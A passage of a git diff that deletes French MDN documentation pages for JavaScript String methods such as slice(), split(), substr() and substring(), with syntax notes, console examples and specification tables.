  • À partir de Gecko 39 {{geckoRelease(39)}}, les arguments non-standards (flags) pour les drapeaux sont dépréciés et déclenchent des avertissements dans la console ({{bug(1142351)}}). Cette propriété est spécifique à Gecko et sera retirée à l'avenir.
    • -
  • À partir de Gecko 47 {{geckoRelease(47)}}, l'argument non-standard flags n'est plus supporté dans les versions hors release et sera bientôt retiré définitivement ({{bug(1245801)}}).
    • -
  • À partir de Gecko 49 {{geckoRelease(49)}}, l'argument non-standard flags n'est plus pris en charge ({{bug(1108382)}}).
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.match()")}}
    • -
  • {{jsxref("RegExp.prototype.exec()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/string/slice/index.html deleted file mode 100644 index d01c172fec..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/slice/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: String.prototype.slice() -slug: Web/JavaScript/Reference/Objets_globaux/String/slice -tags: - - Chaîne - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/String/slice ---- -
{{JSRef}}
- -

La méthode slice() extrait une section d'une chaine de caractères et la retourne comme une nouvelle chaine de caractères. La chaîne de caractères courante n'est pas modifiée.

- -
{{EmbedInteractiveExample("pages/js/string-slice.html")}}
- - - -

Syntaxe

- -
chn.slice(indiceDebut[, indiceFin])
- -

Paramètres

- -
-
indiceDebut
-
L'indice base 0 auquel commencer l'extraction. Si négatif, il est traité comme (longueurSource + indiceDebut) où longueurSource est la longueur de la chaine de caractères (par exemple, si indiceDebut est -3, il sera traité comme longueurSource - 3). Si indiceDebut est supérieur à la longueur de la chaîne, slice() renvoie une chaîne vide.
-
indiceFin
-
Paramètre optionnel. Un indice base 0 avant lequel terminer l'extraction. Le caractère à cet indice ne sera pas inclus. Si indiceFin est absent, slice() extraira jusqu'à la fin de la chaine de caractères. Si négatif, il sera traité comme (longueurSource + indiceFin) où longueurSource est la longueur de la chaine de caractères (par exemple s'il vaut -3, il sera traité comme longueurSource - 3)
-
- -

Valeur retournée

- -

Une nouvelle chaîne de caractères contenant la section extraite de la chaîne.

- -

Description

- -

slice() extrait le texte d'une chaine de caractères et retourne une nouvelle chaîne de caractères. Les changements au texte dans une chaine de caractères n'affectent pas l'autre chaîne.

- -

slice() extrait jusqu'à indiceFin, mais sans l'inclure. Par exemple, chn.slice(1, 4) extrait du second caractère jusqu'au quatrième caractère (caractères d'indices 1, 2 et 3).

- -

Par exemple, chn.slice(2, -1) extrait du troisième caractère jusqu'à l'avant-dernier caractère de la chaine de caractères.

- -

Exemples

- -

Utilisation de slice() pour créer une nouvelle chaîne de caractères

- -

L'exemple suivant utilise slice() pour créer une nouvelle chaîne de caractères.

- -
var chn1 = 'Le matin est sur nous.', // la longueur de chn1 est de 22
-    chn2 = chn1.slice(1, 8),
-    chn3 = chn1.slice(3, -2),
-    chn4 = chn1.slice(13),
-    chn5 = chn1.slice(30);
-console.log(chn2); // SORTIE : e matin
-console.log(chn3); // SORTIE : matin est sur nou
-console.log(chn4); // SORTIE : sur nous.
-console.log(chn5); // SORTIE : ""
- -

Utilisation de slice() avec des indices négatifs

- -

L'exemple suivant utilise slice() avec des indices négatifs.

- -
var chn = 'Le matin est sur nous.';
-chn.slice(-3);     // retourne "us."
-chn.slice(-3, -1); // retourne "us"
-chn.slice(0, -1);  // retourne "Le matin est sur nous"
-
- -

Dans l'exemple qui suit, on commence à chercher l'indice de début à partir de la fin de la chaîne avec l'argument -11 et on utilise un indice de fin positif avec 16 :

- -
console.log(chn.slice(-11, 16)); // "st sur"
- -

On utilise ensuite un indice de début positif (la recherche est effectuée depuis le début de la chaîne) et un indice de fin négatif pour parvenir au même résultat :

- -
console.log(chn.slice(10, -5)); // "st sur"
- -

Enfin, on utilise deux indices négatifs : la position de début et la position de fin sont recherchées à parti de la fin de la chaîne :

- -
console.log(chn.slice(-11, -5)); // "st sur"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée dans JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.13', 'String.prototype.slice')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.slice', 'String.prototype.slice')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.slice', 'String.prototype.slice')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.slice")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.substr()")}} {{deprecated_inline}}
    • -
  • {{jsxref("String.prototype.substring()")}}
    • -
  • {{jsxref("Array.prototype.slice()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/small/index.html b/files/fr/web/javascript/reference/objets_globaux/string/small/index.html deleted file mode 100644 index 080d6f7993..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/small/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: String.prototype.small() -slug: Web/JavaScript/Reference/Objets_globaux/String/small -tags: - - Deprecated - - HTML wrapper methods - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/small ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode small() permet de créer un élément HTML {{HTMLElement("small")}}, ce qui permet d'afficher la chaîne de caractères dans une fonte de petite taille.

- -

Syntaxe

- -
str.small()
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("small")}}.

- -

Description

- -

La méthode small() encadre la chaîne courante dans une balise <small> :
- "<small>str</small>"

- -

Exemple

- -

Utiliser la méthode small()

- -

L'exemple suivant illustre les différentes méthodes de String permettant de changer la taille d'une chaîne de caractères :

- -
var worldString = "Coucou monde";
-
-console.log(worldString.small());     // <small>Coucou monde</small>
-console.log(worldString.big());       // <big>Coucou monde</big>
-console.log(worldString.fontsize(7)); // <font size="7">Coucou monde</fontsize>
- -

L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut style de l'élément et de le manipuler de façon générique. Par exemple :

- -
document.getElementById('IDélément').style.fontSize = '0.7em'
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.small', 'String.prototype.small')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.small', 'String.prototype.small')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.small")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.fontsize()")}}
    • -
  • {{jsxref("String.prototype.big()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/split/index.html b/files/fr/web/javascript/reference/objets_globaux/string/split/index.html deleted file mode 100644 index bf5822183c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/split/index.html +++ /dev/null @@ -1,239 +0,0 @@ ---- -title: String.prototype.split() -slug: Web/JavaScript/Reference/Objets_globaux/String/split -tags: - - Expressions rationnelles - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/split ---- -
{{JSRef}}
- -

La méthode split() permet de diviser une chaîne de caractères à partir d'un séparateur pour fournir un tableau de sous-chaînes.

- -
{{EmbedInteractiveExample("pages/js/string-split.html")}}
- - - -

Syntaxe

- -
str.split([séparateur[, qtéMax]])
- -

Paramètres

- -
-
séparateur {{optional_inline}}
-
-

Paramètre optionnel qui définit le ou les caractères à utiliser pour scinder la chaîne. Le séparateur est considéré comme une chaîne ou une {{jsxref("RegExp", "expression rationnelle", "", 1)}}. Si le séparateur est omis ou qu'il n'apparaît pas dans la chaîne, le tableau retourné contiendra un unique élément contenant la chaîne entière. Si le séparateur est une chaîne vide, la chaîne str sera convertie en un tableau dont les éléments seront les caractères de la chaîne. Si le séparateur contient un ou plusieurs caractères, la chaîne de caractères entière doit être trouvée pour effectuer une césure.

- -

Attention ! Si c'est la chaîne vide qui est utilisée comme séparateur, la chaîne ne sera pas découpée entre chaque caractère visible (grapheme cluster) mais entre chaque codet UTF-16 et les paires de surrogates seront détruites.

-
-
qtéMax {{optional_inline}}
-
Paramètre optionnel. Un entier définissant la limite sur le nombre de sous-chaînes à retourner. La méthode split scindera toujours la chaîne à partir du séparateur, mais le tableau retourné contiendra au plus qtéMax sous-chaînes.
-
- -

Valeur de retour

- -

Un tableau ({{jsxref("Array")}}) qui contient les fragments de la chaîne appelante, découpée en fonction du séparateur indiqué.

- -

Description

- -

Lorsqu'il est trouvé, le séparateur est supprimé de la chaîne et les sous-chaînes sont retournées dans un tableau. Si le séparateur est omis, le tableau contiendra un élément correspondant à la chaîne courante. Si le séparateur est une chaîne vide, la chaîne courante est convertie en un tableau composé des caractères de la chaîne. Si le séparateur est uniquement présent au début et/ou à la fin de la chaîne, le tableau contiendra une chaîne vide comme premier et/ou dernier élément (si on utilise cette méthode sur une chaîne qui ne contient que le séparateur, le tableau obtenu aura deux éléments qui seront chacun une chaîne vide).

- -

Si le séparateur est une expression rationnelle qui contient des parenthèses groupantes, les résultats (incluant tout résultat indéfini) des groupes iront alors dans le tableau retourné à chaque fois qu'une correspondance du séparateur sera trouvée. Cependant, tous les navigateurs ne supportent pas cette possibilité.

- -

La méthode split() ne modifie pas le tableau courant, elle renvoie un nouveau tableau.

- -

Lorsque le séparateur fourni est un tableau, le tableau est automatiquement converti en une chaîne de caractères et c'est cette chaîne qui est utilisée comme séparateur.

- -

{{Note("Quand la chaîne est vide, split() retourne un tableau contenant une chaîne vide, plutôt qu'un tableau vide. Si la chaîne et le séparateur sont tous les deux des chaînes vides, un tableau vide sera renvoyé.")}}

- -

Exemples

- -

Utiliser split()

- -

L'exemple suivant définit une fonction qui divise une chaîne en un tableau de chaînes selon un délimiteur spécifié. Après la coupe de la chaîne, la fonction affiche des messages indiquant la chaîne initiale (avant la coupe), le délimiteur utilisé, le nombre d'éléments dans le tableau, et les éléments du tableau retourné.

- -
function splitString(stringToSplit, separator) {
-  var arrayOfStrings = stringToSplit.split(separator);
-
-  console.log('La chaine d\'origine est : "' + stringToSplit + '"');
-  console.log('Le délimiteur est : "' + separator + '"');
-  console.log("Le tableau comporte " + arrayOfStrings.length + " elements : ");
-
-  for (var i=0; i < arrayOfStrings.length; i++)
-    print(arrayOfStrings[i] + " / ");
-}
-
-var tempestString = "Oh brave new world that has such people in it.";
-var monthString = "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec";
-
-var espace = " ";
-var virgule = ",";
-
-splitString(tempestString, espace);
-splitString(tempestString);
-splitString(monthString, virgule);
-
- -

Cet exemple produira la sortie suivante :

- -
La chaine d'origine est : "Oh brave new world that has such people in it."
-Le délimiteur est : " "
-Le tableau comporte 10 elements : Oh / brave / new / world / that / has / such / people / in / it. /
-
-La chaine d'origine est : "Oh brave new world that has such people in it."
-Le délimiteur est : "undefined"
-Le tableau comporte 1 elements : Oh brave new world that has such people in it. /
-
-La chaine d'origine est : "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec"
-Le délimiteur est : ","
-Le tableau comporte 12 elements : Jan / Feb / Mar / Apr / May / Jun / Jul / Aug / Sep / Oct / Nov / Dec /
-
- -

Supprimer les espaces d'une chaîne

- -

Dans l'exemple suivant, split recherche zéro ou plusieurs espaces suivis d'un point-virgule, lui-même suivi par zéro ou plus espaces. Lorsque ce « motif » est trouvé, cela supprime celui-ci de la chaîne. nameList est le tableau retourné du résultat de split.

- -
var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand ";
-
-console.log(names);
-
-var re = /\s*(;|$)\s*/;
-var nameList = names.split(re);
-
-console.log(nameList);
-
- -

Ceci affichera deux lignes dans la console ; la première ligne correspondant à la chaîne d'origine, et la seconde au tableau de résultats.

- -
Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand
-["Harry Trump","Fred Barney","Helen Rigby","Bill Abel","Chris Hand"]
-
- -

Retourner un nombre limité de sous-chaînes

- -

Dans l'exemple suivant, split() recherche des espaces dans une chaîne et retourne les 3 premières sous-chaînes qui correspondent.

- -
var myString = "Hello World. How are you doing?";
-var splits = myString.split(" ", 3);
-
-console.log(splits);
-
- -

Ce script affichera :

- -
["Hello", "World.", "How"]
-
- -

Découper une expression rationnelle - Parenthèses capturantes

- -

Si le paramètre séparateur est une expression rationnelle qui contient des parenthèses de capture, les résultats seront retournés dans le tableau.

- -
var myString = "Hello 1 word. Sentence number 2.";
-var splits = myString.split(/(\d)/); /* Ce motif correspond à un chiffre et est équivalent à [0-9] */
-
-console.log(splits);
-
- -

Ce script affichera :

- -
Hello ,1, word. Sentence number ,2,.
-
- -

Découper une chaîne avec un tableau comme séparateur

- -
var maChaine = "Ceci|est|un|test";
-var morceaux = maChaine.split(['|']);
-
-console.log(morceaux); // ["Ceci", "est", "un", "test"]
-
-var maChaine2 = "ca,bc,a,bca,bca,bc";
-var morceaux2 = maChaine2.split(["a", "b"]);
-
-console.log(morceaux2); // ["c", "c,", "c", "c", "c"]
-
- -

Inverser une chaîne en utilisant split()

- -
var str = 'asdfghjkl';
-var strReverse = str.split('').reverse().join(''); // 'lkjhgfdsa'
-// split renvoie un tableau sur lequel on peut appliquer reverse
-// enfin on utilise join pour assembler le tout.
- -
-

Note : Si on souhaite tester si la chaîne courante est un palindrome, on pourra utiliser l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison","===","#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}.

-
- -

Attention, cela ne fonctionne pas si la chaîne de caractères contient des groupes de graphèmes, même lorsqu'on utilise une méthode de découpage sensible à Unicode.

- -
var str = 'résumé';
-var strReverse = str.split(/(?:)/u).reverse().join('');
-// => "émusér"
-
- -

On pourra utiliser une bibliothèque (cf. esrever) si besoin.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.5.4.14', 'String.prototype.split')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.split', 'String.prototype.split')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.split', 'String.prototype.split')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.split")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.charAt()")}}
    • -
  • {{jsxref("String.prototype.indexOf()")}}
    • -
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • -
  • {{jsxref("Array.prototype.join()")}}
    • -
- -

{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}} {{Spec2('ES6')}} Définition initiale au sein d'un standard ECMA.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.split")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/string/startswith/index.html b/files/fr/web/javascript/reference/objets_globaux/string/startswith/index.html deleted file mode 100644 index 060bd27d32..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/startswith/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: String.prototype.startsWith() -slug: Web/JavaScript/Reference/Objets_globaux/String/startsWith -tags: - - ECMAScript6 - - JavaScript - - Méthode - - Prototype - - Reference - - String - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith ---- -
{{JSRef}}
- -

La méthode startsWith() renvoie un booléen indiquant si la chaine de caractères commence par la deuxième chaine de caractères fournie en argument.

- -
{{EmbedInteractiveExample("pages/js/string-startswith.html")}}
- - - -

Syntaxe

- -
str.startsWith(chaîneRecherchée [, position]);
- -

Paramètres

- -
-
chaîneRecherchée
-
Les caractères à rechercher au début de la chaine de caractères.
-
position {{optional_inline}}
-
La position à laquelle commencer la recherche de chaîneRecherchée ; par défaut 0.
-
- -

Valeur de retour

- -

true si la chaîne de caractères commence avec la sous-chaîne en argument, false sinon

- -

Description

- -

Cette méthode permet de savoir si une chaine de caractères commence avec une autre chaine de caractères (comme pour les autres méthodes fonctionnant avec les chaînes de caractères, cette méthode est sensible à la casse).

- -

Exemples

- -
var str = "Être, ou ne pas être : telle est la question.";
-
-console.log(str.startsWith("Être"));         // true
-console.log(str.startsWith("pas être"));     // false
-console.log(str.startsWith("pas être", 12)); // true
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.startsWith")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.endsWith()")}}
    • -
  • {{jsxref("String.prototype.includes()")}}
    • -
  • {{jsxref("String.prototype.indexOf()")}}
    • -
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • -
  • Prothèse (polyfill) de Mathias Bynens
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/strike/index.html b/files/fr/web/javascript/reference/objets_globaux/string/strike/index.html deleted file mode 100644 index e53530aa1f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/strike/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: String.prototype.strike() -slug: Web/JavaScript/Reference/Objets_globaux/String/strike -tags: - - Deprecated - - HTML wrapper methods - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/strike ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode strike() permet de créer un élément HTML {{HTMLElement("strike")}} qui permet d'afficher la chaîne comme un texte barré.

- -

Syntaxe

- -
str.strike()
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("strike")}}.

- -

Description

- -

Cette méthode encadre la chaîne de caractères dans une balise <strike> :
- "<strike>str</strike>"

- -

Exemples

- -

Les méthodes suivantes peuvent être utilisées pour modifier le formatage d'une chaîne de caractères :

- -
var worldString = "Coucou monde";
-
-console.log(worldString.blink());
-console.log(worldString.bold());
-console.log(worldString.italics());
-console.log(worldString.strike());
- -

Cela produira le code HTML suivant dans la console :

- -
<blink>Coucou monde</blink>
-<b>Coucou monde</b>
-<i>Coucou monde</i>
-<strike>Coucou monde</strike>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.strike', 'String.prototype.strike')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.strike', 'String.prototype.strike')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.strike")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.blink()")}}
    • -
  • {{jsxref("String.prototype.bold()")}}
    • -
  • {{jsxref("String.prototype.italics()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/sub/index.html b/files/fr/web/javascript/reference/objets_globaux/string/sub/index.html deleted file mode 100644 index 5b68b64892..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/sub/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: String.prototype.sub() -slug: Web/JavaScript/Reference/Objets_globaux/String/sub -tags: - - Deprecated - - HTML wrapper methods - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/sub ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode sub() crée un élément HTML {{HTMLElement("sub")}} qui entraîne l'affichage de la chaîne en indice.

- -

Syntaxe

- -
str.sub()
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("sub")}}.

- -

Description

- -

La méthode sub encapsule une chaîne dans une balise <sub> :
- "<sub>str</sub>".

- -

Exemples

- -

L'exemple suivant utilise les méthodes sub() et {{jsxref("String.prototype.sup()", "sup()")}} pour mettre en forme une chaîne :

- -
var superText = "exposant";
-var subText = "indice";
-
-console.log("Ceci illustre l'affichage d'un texte en " + superText.sup() + ".");
-// "Ceci illustre l'affichage d'un texte en <sup>expostant</sup>
-
-console.log("Ceci illustre l'affichage d'un texte en " + subText.sub() + ".");
-// "Ceci illustre l'affichage d'un texte en <sub>indice</sub>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaire
{{SpecName('ES6', '#sec-string.prototype.sub', 'String.prototype.sub')}}{{Spec2('ES6')}}Définition initiale. Implementée avec JavaScript 1.0. Définie dans l'annexe B (normative) des fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.sub', 'String.prototype.sub')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) des fonctionnalités ECMAScript additionnelles pour les navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.sub")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.sup()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/substr/index.html b/files/fr/web/javascript/reference/objets_globaux/string/substr/index.html deleted file mode 100644 index b747e71c56..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/substr/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: String.prototype.substr() -slug: Web/JavaScript/Reference/Objets_globaux/String/substr -tags: - - Déprécié - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/substr ---- -
{{JSRef}}
- -
Attention ! Bien que String.prototype.substr(…) ne soit pas strictement obsolète (au sens où elle n'a pas été retirée des standards), elle est définie au sein de l'Annexe B du standard ECMA-262 qui définit l'ensemble des fonctionnalités historiques qui doivent être évitées autant que possible. On utilisera la méthode {{jsxref("String.prototype.substring()")}} à la place.
- -

La méthode substr() retourne la partie d'une chaîne de caractères comprise entre l'indice de départ et un certain nombre de caractères après celui-ci.

- -
{{EmbedInteractiveExample("pages/js/string-substr.html")}}
- - - -

Syntaxe

- -
chn.substr(début[, longueur])
- -

Paramètres

- -
-
début
-
L'indice du premier caractère à inclure dans la sous-chaîne retournée.
-
longueur
-
Optionnel. Le nombre de caractères à extraire.
-
- -

Valeur de retour

- -

Une nouvelle chaîne contenant la partie indiquée de la chaîne donnée.

- -

Description

- -

substr() extrait longueur caractères d'une string, en comptant à partir de l'indice début.

- -

Si début est un nombre positif, l'indice commence à compter du début de la chaîne. Sa valeur est limitée à chn.length.

- -

Si début est un nombre négatif, l'indice commence à compter de la fin de la chaîne. Sa valeur est limitée à -chn.length.

- -

Note : dans JScript de Microsoft, les valeurs négatives de l'argument début ne sont pas considérées comme faisant référence à la fin de la chaîne.

- -

Si longueur est omise, substr() extrait les caractères jusqu'à la fin de la chaîne.

- -

Si longueur est {{jsxref("undefined")}}, substr() extrait les caractères jusqu'à la fin de la chaîne.

- -

Si longueur est négative, elle est traitée comme 0.

- -

Pour début comme pour longueur, NaN est traité comme 0.

- -

Exemples

- -
var uneChaine = 'Mozilla';
-
-console.log(uneChaine.substr(0, 1));   // 'M'
-console.log(uneChaine.substr(1, 0));   // ''
-console.log(uneChaine.substr(-1, 1));  // 'a'
-console.log(uneChaine.substr(1, -1));  // ''
-console.log(uneChaine.substr(-3));     // 'lla'
-console.log(uneChaine.substr(1));      // 'ozilla'
-console.log(uneChaine.substr(-20, 2)); // 'Mo'
-console.log(uneChaine.substr(20, 2));  // ''
- -

Prothèse d'émulation (polyfill)

- -

JScript de Microsoft ne supporte pas les valeurs négatives pour l'indice de début. Pour utiliser cette fonctionnalité, vous pouvez utiliser le code suivant :

- -
// N'appliquer que lorsque la fonction est incomplète
-if ('ab'.substr(-1) != 'b') {
-  /**
-   *  Obtenir la sous-chaîne d'une chaîne
-   *  @param  {entier}  début     où démarrer la sous-chaîne
-   *  @param  {entier}  longueur  combien de caractères à retourner
-   *  @return {chaîne}
-   */
-  String.prototype.substr = function(substr) {
-    return function(début, longueur) {
-      // Appel de la méthode originale
-      return substr.call(this,
-        // Si on a un début négatif, calculer combien il vaut à partir du début de la chaîne
-        // Ajuster le paramètre pour une valeur négative
-        début < 0 ? this.length + début : début,
-        longueur)
-    }
-  }(String.prototype.substr);
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définie dans la Compatibility Annex B (informative). Implémentée dans JavaScript 1.0.
{{SpecName('ES5.1', '#sec-B.2.3', 'String.prototype.substr')}}{{Spec2('ES5.1')}}Définie dans la Compatibility Annex B (informative).
{{SpecName('ES6', '#sec-string.prototype.substr', 'String.prototype.substr')}}{{Spec2('ES6')}}Définie dans l'Annex B (normative) pour les Additional ECMAScript Features for Web Browsers.
{{SpecName('ESDraft', '#sec-string.prototype.substr', 'String.prototype.substr')}}{{Spec2('ESDraft')}}Définie dans l'Annex B (normative) pour les Additional ECMAScript Features for Web Browsers
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.substr")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.slice()")}}
    • -
  • {{jsxref("String.prototype.substring()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/substring/index.html b/files/fr/web/javascript/reference/objets_globaux/string/substring/index.html deleted file mode 100644 index eedcb92d58..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/substring/index.html +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: String.prototype.substring() -slug: Web/JavaScript/Reference/Objets_globaux/String/substring -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/substring ---- -
{{JSRef}}
- -

La méthode substring() retourne une sous-chaîne de la chaîne courante, entre un indice de début et un indice de fin.

- -
{{EmbedInteractiveExample("pages/js/string-substring.html")}}
- - - -

Syntaxe

- -
str.substring(indiceA[, indiceB])
- -

Paramètres

- -
-
indiceA
-
Un entier compris entre 0 et la longueur de la chaîne.
-
indiceB
-
Paramètre optionnel : un entier compris entre 0 et la longueur de la chaine.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères qui correspond à la section souhaitée de la chaîne appelante.

- -

Description

- -

substring extrait des caractères de la chaîne courante à partir de indiceA jusqu'à indiceB (non compris). On a notamment :

- -
    -
  • Si indiceA est égal à indiceB, substring retournera une chaîne vide.
    • -
  • Si indiceB est omis, substring effectuera l'extraction des caractères jusqu'à la fin de la chaîne.
    • -
  • Si l'un des deux arguments est négatif ou vaut {{jsxref("NaN")}}, il sera traité comme 0.
    • -
  • Si l'un des deux arguments est plus grand que str.length, il sera traité comme str.length.
    • -
- -

Si indiceA est supérieur à indiceB, la fonction substring() intervertira ces deux valeurs afin de les traiter comme si elles avaient été passées dans le bon ordre. Par exemple : str.substring(1, 0) == str.substring(0, 1).

- -

Exemples

- -

Utiliser substring()

- -

Les exemples suivants utilisent la méthode substring() pour extraire et afficher des caractères à partir de la chaine "Mozilla" :

- -
var uneChaîne = "Mozilla";
-
-// Affiche "Moz"
-console.log(uneChaîne.substring(0,3));
-console.log(uneChaîne.substring(3,0));
-
-// Affiche "lla"
-console.log(uneChaîne.substring(4,7));
-console.log(uneChaîne.substring(4));
-console.log(uneChaîne.substring(7,4));
-
-// Affiche "Mozill"
-console.log(uneChaîne.substring(0,6));
-
-// Affiche "Mozilla"
-console.log(uneChaîne.substring(0,7));
-console.log(uneChaîne.substring(0,10));
-
- -

Remplacer une sous-chaîne dans une chaîne

- -

L'exemple suivant remplace une partie d'une chaine. Elle remplace à la fois les caractères individuels et les sous-chaines. La fonction appelée à la fin de cet exemple transforme la chaine "Brave New World" en "Brave New Web".

- -
function replaceString(oldS, newS, fullS) {
-// On remplace oldS avec newS dans fullS
-  for (var i = 0; i < fullS.length; i++) {
-    if (fullS.substring(i, i + oldS.length) == oldS) {
-     fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length);
-    }
-  }
-  return fullS;
-}
-
-replaceString("World", "Web", "Brave New World");
- -

Attention : ceci peut résulter en une boucle infinie si oldS est elle-même une sous-chaine de newS -- par exemple, si on essaie de remplacer "World" par "OtherWorld". Une meilleure solution serait de remplacer les chaines de cette manière :

- -
function replaceString(oldS, newS,fullS){
-  return fullS.split(oldS).join(newS);
-}
- -

Le code ci-dessus sert d'exemple pour les opérations sur les sous-chaines. S'il est nécessaire de remplacer des sous-chaines, la plupart du temps il faudrait préférer l'utilisation de {{jsxref("String.prototype.replace()")}}.

- -

Différence entre substring() et substr()

- -

Il existe une légère différence entre les méthodes substring() et {{jsxref("String.substr", "substr()")}}. Les deux ne doivent pas être confondues.

- -

